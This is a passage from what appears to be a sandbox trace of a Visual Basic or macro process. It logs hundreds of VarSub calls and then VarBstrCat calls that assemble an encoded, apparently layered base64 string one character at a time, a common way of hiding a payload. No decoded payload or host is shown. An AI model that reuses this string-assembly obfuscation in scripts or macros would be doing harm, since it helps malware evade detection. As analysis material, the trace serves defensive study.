pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.729] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.729] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.730] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.730] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.730] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.730] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.730] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.730] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.730] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.730] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.730] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.730] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.730] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.730] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.731] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.731] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.731] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.731] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.731] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.731] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.731] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.731] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.731] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.731] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.731] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.731] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.731] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.732] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.732] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.732] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.732] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.732] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.732] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.732] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.732] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.732] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.732] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.732] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.732] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.733] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.733] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.733] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.733] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.733] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.733] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.733] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.733] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.733] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.733] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.733] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.733] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.734] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.735] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.736] VarBstrCat (in: bstrLeft=0x0, bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.736] VarBstrCat (in: bstrLeft="Z", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.736] VarBstrCat (in: bstrLeft="ZG", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.736] VarBstrCat (in: bstrLeft="ZG1", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.736] VarBstrCat (in: bstrLeft="ZG1G", bstrRight="e", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.736] VarBstrCat (in: bstrLeft="ZG1Ge", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.736] VarBstrCat (in: bstrLeft="ZG1GeU", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.736] VarBstrCat (in: bstrLeft="ZG1GeUl", bstrRight="H", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.736] VarBstrCat (in: bstrLeft="ZG1GeUlH", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.736] VarBstrCat (in: bstrLeft="ZG1GeUlHT", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.736] VarBstrCat (in: bstrLeft="ZG1GeUlHTT", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTl", bstrRight="K", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlK", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKM", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk", bstrRight="5", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5", bstrRight="I", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5I", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1R", bstrRight="O", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1RO", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROY", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYV", bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVd", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdF", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFc", bstrRight="D", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcD", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZ", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZ", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZV", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVW", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.737] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWR", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRX", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXY", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYz", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJ", bstrRight="K", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJK", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKR", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRF", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFF", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFY", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYU", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUm", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUml", bstrRight="i", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmli", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliV", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVG", bstrRight="w", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGw", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwz", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.738] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1V", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VN", bstrRight="e", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNe", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeG", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJ", bstrRight="H", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJH", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHV", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVk", bstrRight="h", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkh", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhW", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWb", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbX", bstrRight="B", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXB", bstrRight="K", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBK", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKU", bstrRight="j", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUj", bstrRight="B", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjB", bstrRight="v", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBv", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvM", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMV", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.739] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVk", bstrRight="w", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkw", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZ", bstrRight="E", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZE", bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEd", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdl", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlb", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU", bstrRight="4", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: 